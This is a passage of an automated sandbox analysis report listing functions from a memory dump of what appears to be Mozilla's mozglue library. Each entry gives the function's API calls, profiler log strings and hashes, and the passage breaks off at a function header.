Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: c030a86e20179a737615462dbc1c866e121c3dad4c2563022985e50438da7088
Instruction ID: 5deee6d15f109f8d23b5428e04a92d513807375bf289385ca99bb41bbf41a8b1
Opcode Fuzzy Hash: c030a86e20179a737615462dbc1c866e121c3dad4c2563022985e50438da7088
Instruction Fuzzy Hash: 0201A770B001018BD710BBEDD815B4A37B5AB0637DF05C537ED0A86F51FA32E86A895B

Function 6CBCB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CBCB61E,?,?,?,?,?,00000000), ref: 6CBCB6AC

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CBCB61E,?,?,?,?,?,00000000), ref: 6CBCB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CBCB61E,?,?,?,?,?,00000000), ref: 6CBCB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CBCB61E,?,?,?,?,?,00000000), ref: 6CBCB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CBCB61E,?,?,?,?,?,00000000), ref: 6CBCB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CBCB61E), ref: 6CBCB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CBCB61E,?,?,?,?,?,00000000), ref: 6CBCB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CBCB61E,?,?,?,?,?,00000000), ref: 6CBCB79A

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 33934e093c138c3e658b7b7ca9e2302386d944d95cb190dd7089ad77e9be9e72
Instruction ID: 24df53575f7affc782a284721df9d09471c723074e80c9f175e0914dce284eb7
Opcode Fuzzy Hash: 33934e093c138c3e658b7b7ca9e2302386d944d95cb190dd7089ad77e9be9e72
Instruction Fuzzy Hash: E441A6B2E001559FCB04DF68DC409AFB7B5FB54324F25066AE825E7790E731A91487D2

Function 6CC3B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CC3B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CC3B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CC3B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CC3B5F4
__Init_thread_footer.LIBCMT ref: 6CC3B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CC3B61F
std::_Facet_Register.LIBCPMT ref: 6CC3B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC3B655

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: dad741efccb402d4b933ec3c532896e253fb4471cc1ea85dbbac576c1875d8b2
Instruction ID: 60fb51a38362d4a9e6cc97aa743c95619a45a5c5eccb414cd9feb7b4aef1a255
Opcode Fuzzy Hash: dad741efccb402d4b933ec3c532896e253fb4471cc1ea85dbbac576c1875d8b2
Instruction Fuzzy Hash: 3031E771B00514CFCF00EF69C8649AEB7B5FF89328F1485A9D91697740EB30A806CF91

Function 6CC11D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC11D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CC11BE3,?,?,6CC11D96,00000000), ref: 6CC11D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CC11BE3,?,?,6CC11D96,00000000), ref: 6CC11D4C
GetCurrentThreadId.KERNEL32 ref: 6CC11DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CC11DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CC11DDA

Part of subcall function 6CC11EF0: GetCurrentThreadId.KERNEL32 ref: 6CC11F03
Part of subcall function 6CC11EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CC11DF2,00000000,00000000), ref: 6CC11F0C
Part of subcall function 6CC11EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CC11F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CC11DF4

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: c0720c8e7d4a4808e02d0930c9a64880a2e9e5c3fdb8d2998ed3506b9d809cf3
Instruction ID: 822fda1086bc3dbcc57c4f21c32ac405d9fdbfe89ad4707866d8a5d465cbfb98
Opcode Fuzzy Hash: c0720c8e7d4a4808e02d0930c9a64880a2e9e5c3fdb8d2998ed3506b9d809cf3
Instruction Fuzzy Hash: 304168B52007049FCB10EF29C498A5ABBF9FB89318F10846DE95A87B41DB75E854CB91

Function 6CC084E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC084F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC0850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC0851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC0855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC0856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC085AC

Part of subcall function 6CC07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CC085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC0767F
Part of subcall function 6CC07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CC085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC07693
Part of subcall function 6CC07670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CC085B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC076A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CC085B2

Part of subcall function 6CBE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBE5EDB
Part of subcall function 6CBE5E90: memset.VCRUNTIME140(6CC27765,000000E5,55CCCCCC), ref: 6CBE5F27
Part of subcall function 6CBE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBE5FB2

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 7b46634786c1a08252ab34a94179dcf3c574049ddd7d6857bdd335d66a1477c3
Instruction ID: a889325b2c8426e820fb6514a3a8cbb42ed767cbed220e6ee6e2e2b10ec4d910
Opcode Fuzzy Hash: 7b46634786c1a08252ab34a94179dcf3c574049ddd7d6857bdd335d66a1477c3
Instruction Fuzzy Hash: 59217F743006019FEB14DB25C888E5AB7B5AF8430DF14882DE95BC3B41EB36F959CB51

Function 6CC0F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBFCBE8: GetCurrentProcess.KERNEL32(?,6CBC31A7), ref: 6CBFCBF1
Part of subcall function 6CBFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBC31A7), ref: 6CBFCBFA

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CC0F598), ref: 6CC0F621

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

GetCurrentThreadId.KERNEL32 ref: 6CC0F637
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8,?,?,00000000,?,6CC0F598), ref: 6CC0F645
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8,?,?,00000000,?,6CC0F598), ref: 6CC0F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CC0F62A

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: f7d88d299d8f255dd12dafc369aa7a06425ea7d3cdd7e1a912cc4bd21bc6a1ee
Instruction ID: 709e5f289e3b95ecf04db9463619a32e8629086401a306bf6459b60c53dc4b92
Opcode Fuzzy Hash: f7d88d299d8f255dd12dafc369aa7a06425ea7d3cdd7e1a912cc4bd21bc6a1ee
Instruction Fuzzy Hash: 51112375300604AFCA00BF59C818EA9B779FB8636CF10C015EA0583F01EB32A811CBB4

Function 6CBD0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBFAB89: EnterCriticalSection.KERNEL32(6CC4E370,?,?,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB94
Part of subcall function 6CBFAB89: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CBFD9F0,00000000), ref: 6CBD0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CBD0F3C
__Init_thread_footer.LIBCMT ref: 6CBD0F50
FreeLibrary.KERNEL32(?,6CBFD9F0,00000000), ref: 6CBD0F86

Strings

combase.dll, xrefs: 6CBD0F18
CoInitializeEx, xrefs: 6CBD0F36

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 40307d7cc0cae749b1a2584e101cb4efd76f1f9206ae1ec96e031eac590192de
Instruction ID: 09d52a3ed880a4d9bb59bf9600ba451d8da24e0fab8e10d92542cb774a1bff13
Opcode Fuzzy Hash: 40307d7cc0cae749b1a2584e101cb4efd76f1f9206ae1ec96e031eac590192de
Instruction Fuzzy Hash: E511E5743052819FDF00EF58D918E4A7B74FB8B32EF12C629E90592741E730A405CE53

Function 6CC0F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0F561

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

GetCurrentThreadId.KERNEL32 ref: 6CC0F577
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F585
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6CC0F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6CC0F499
[I %d/%d] profiler_resume, xrefs: 6CC0F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CC0F56A

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 066d927c9f5a8f8be621c9c6ef39defe927b2f7b24053e04248213c7c2b3a31d
Instruction ID: bf8d253709ff637408ea135aeda3fc9aef40846c72cc732097db350a7b423747
Opcode Fuzzy Hash: 066d927c9f5a8f8be621c9c6ef39defe927b2f7b24053e04248213c7c2b3a31d
Instruction Fuzzy Hash: 90F054757006049FEA007B659858E5E7B7DEBC62ADF00C055FA0583B01EF7688058775

Function 6CC0F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CC0F598), ref: 6CC0F621

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

GetCurrentThreadId.KERNEL32 ref: 6CC0F637
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8,?,?,00000000,?,6CC0F598), ref: 6CC0F645
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8,?,?,00000000,?,6CC0F598), ref: 6CC0F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CC0F62A

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 37cc048d0a3f48f3b4a9e11d0c2926f58e707d7236dd2850a18a0e60d118fe5f
Instruction ID: bed89b82f752680626fc62020b6a97fcd39642248b3477c56174dee0245ecf8e
Opcode Fuzzy Hash: 37cc048d0a3f48f3b4a9e11d0c2926f58e707d7236dd2850a18a0e60d118fe5f
Instruction Fuzzy Hash: 7CF05EB5300604AFEA007B659858E5EBB7DEBC62ADF00C065FA0583B41EB7688058775

Function 6CC005F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CBFCFAE,?,?,?,6CBC31A7), ref: 6CC005FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CBFCFAE,?,?,?,6CBC31A7), ref: 6CC00616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CBC31A7), ref: 6CC0061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CBC31A7), ref: 6CC00627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CC0061B, 6CC00625
<jemalloc>, xrefs: 6CC005FA, 6CC0060F

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 807e80d559a28ed8f7c40b4a3af41e6b926c438172056f3ccb31b83d2398398d
Instruction ID: 71b727443edce2f7991d785871db14f9d526341dfc06f0a10680b2932b282ba8
Opcode Fuzzy Hash: 807e80d559a28ed8f7c40b4a3af41e6b926c438172056f3ccb31b83d2398398d
Instruction Fuzzy Hash: FCE08CE2A0202037F6142256BC86DFB761CDBC6138F080139FD0D86301F94AAD1A51F6

Function 6CBD05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 563a8b7b1ac1b7ed33c18a3ed63431e65c5b1dd70244d695e9b222afcbb30d55
Instruction ID: 1e319a692b07e586205a2b0da51dec65e365b1c0a42a9df2eba3c9408a3d318e
Opcode Fuzzy Hash: 563a8b7b1ac1b7ed33c18a3ed63431e65c5b1dd70244d695e9b222afcbb30d55
Instruction Fuzzy Hash: 24A159B0A006458FDB24CF29D594A9AFBF1FF49304F45866ED44A9BB01E730B989CF91

Function 6CC214A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC214C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CC214E2
GetCurrentThreadId.KERNEL32 ref: 6CC21546
InitializeConditionVariable.KERNEL32(?), ref: 6CC215BA
free.MOZGLUE(?), ref: 6CC216B4

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 953cd4595feea7b7919ef661264fec65c2cc55595ca0f16869b03468a65269b4
Instruction ID: 0febf7da5b8345621eb8afd5a1c50d3bde57d2dd6fb884240f679087bc458bce
Opcode Fuzzy Hash: 953cd4595feea7b7919ef661264fec65c2cc55595ca0f16869b03468a65269b4
Instruction Fuzzy Hash: 7461E031A007409BDB21DF29C880BDEB7B1BF8A308F44851CED8A57B01EB35E959CB91

Function 6CC1DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CC1DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CC1D38A,?), ref: 6CC1DC6F
free.MOZGLUE(?,?,?,?,?,6CC1D38A,?), ref: 6CC1DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CC1D38A,?), ref: 6CC1DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CC1D38A,?), ref: 6CC1DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CC1D38A,?), ref: 6CC1DD4A

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 4f65d0e362b998f13b4968e70067452cb3ebcdadc6b41e3110b4fa91089c43a6
Instruction ID: e6ed38013d7db01f62884c1b2cd8b9848400f4037a5d842b591cd8a810bdb57f
Opcode Fuzzy Hash: 4f65d0e362b998f13b4968e70067452cb3ebcdadc6b41e3110b4fa91089c43a6
Instruction Fuzzy Hash: 75415CB5A00605DFCB00DF9AC89099EB7F5FF89318B5545A9D945A7B10E731FC04CB90

Function 6CC06590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

